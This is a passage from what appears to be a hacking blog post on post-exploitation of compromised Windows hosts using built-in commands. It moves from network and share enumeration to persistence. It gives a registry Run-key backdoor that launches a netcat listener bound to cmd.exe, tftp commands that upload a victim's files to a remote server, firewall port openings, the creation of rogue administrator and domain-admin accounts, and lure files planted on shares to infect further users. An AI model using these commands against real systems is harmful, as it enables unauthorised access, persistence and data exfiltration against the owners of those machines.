This will create a text file in the directory the command is run fron and under the "RAS Configuration" section all users will be listed. This output can easily be manipulated to give you a comprehensive user list and if telephone numbers have been configured it will list these also. Interesting!

ARP
looking at the arp cache will show you what computers the host has recently communicated with on the network. Then using "net view \\computername" will show you what shares that host has. I'm betting if your looking to hop onto another host and map drives these are good starting points because you host most likely has some level of access.
arp -a


And don't forget ipconfig either for recent connections.

ipconfig /displaydns

TREE
After creating a drive mapping to another computer (net use * \\servername\share" and changing to it, if you run the tree command it will list all the directories that you have access to. Another method is to use "dir /s" but tree has lines and it looks funky.
tree /f

Modification
An attacker may want to modify data on the compromised host, data such as log files or web pages etc....
There is a good little text editor that has been native to windows for many years called Edit. Edit is an interactive DOS based text editor with some great features.

edit passwords.txt
This is a great tool for whipping up a batch file and saving it on the host in the startup folder. Or for creating username lists and password lists to run with "net use" command in a FOR loop.
An attacker may also attempt to view or edit the logfiles in %systemroot%system32/logfiles
ECHO
echo can be used to create files or to input values into files.
echo hello > filename.txt

Scanning
To my knowlegde there are no port scanning tools that are native to XP or Windows 2003. There is one that comes in the resouce kit called portqry.exe so it may be worth a quick seach of the harddisk for that.
So what do we have?
NBTSTAT
Nbtstat is pretty good, although we can only scan one host at a time it does reveal some useful information.
nbtstat -A 192.168.1.10
This will show listening services on remote machine. Admitedly, it's not a great scanner but it does a bit.
What the key is here is to learn what the codes are for the services. For example some of the codes are listed below. Remember, google is your friend.


TELNET
If you locate a port that is open and you want to see if you can grab a banner you could use Telnet
telnet ip-address 80
type "get" and return twice
Although this does tell me the port is open and a web server is listening I can get more information by typing "GET / HTTP/1.0" after I have established a telnet connection.
After pressing return a few times you may get the banner revealing what web server version is running.
Telnet is great for enumerating mail servers also. Mail can even be sent using telnet so theres plenty of fun to be had there.

Maintaining Access
TFTP
If you want to get tools onto the host and you have a TFTP server that you can reach use the "tftp" command.
tftp -i ip-address-of-tftp-server get toolname.exe

Or to upload files from the victim to a remote server use:
tftp -i ip-address-of-tftp-server put filename-to-upload.txt

NETSH
To allow a program to listen through the firewall:
netsh firewall add allowedprogram C:\nltest.exe mltest enable
To open a port on the firewall:
netsh firewall add portopening tcp 2482 lt enable all

REG
The reg command is useful for both viewing the registry and adding keys to it. Here's how to view the contents of a subkey or add a key. The example below shows how an attacker may add a backdoor to your system
reg query HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run

reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v listener /d "C:\Windows\System32\nc.exe -p 6666 -L -d -e cmd.exe"


Then I would re-run "reg query" to verify my update.



Now next time the compromised hosts reboots i'll have a remote command shell waiting for me.

NET
So once an attacker is on a victims PC he may want to add an account so he can get back on if the user changes her password. Using the "net" command here's how it would be done using "net user".
net user synjunkie GoodPassword123 /add
Next the account is added to the Administrators group with the "net localgroup" command.
net localgroup Administrators synjunkie /add
On a Server the command an attacker may use to add his user account to an administrative group might be:
net group "domain admins" synjunkie /add

Further Exploration


As we have had a look around the comprimised host and have lookedat what the host is attached to we may want to start looking at whats on other hosts. again we use the "net" command to map drives and explore further.
net use
net view \\w2k3-srv/
net use * \\w2k3-srv/i386
net use
Z:
Once a share is found that I can read and write to I might leave a file there that might look intersting to someone "britney and Paris caught in the act.jpg" or "payroll-update.xls". If I can get somone to open such a file maybe I can comprimise their machine and the whole process begins again. It doesn't have to be an admin, as long as the victims have access to the data I want as an attacker thats all I need.


Xem Nhiều

Bài đăng phổ biến

Lưu trữ blog

Blog Archive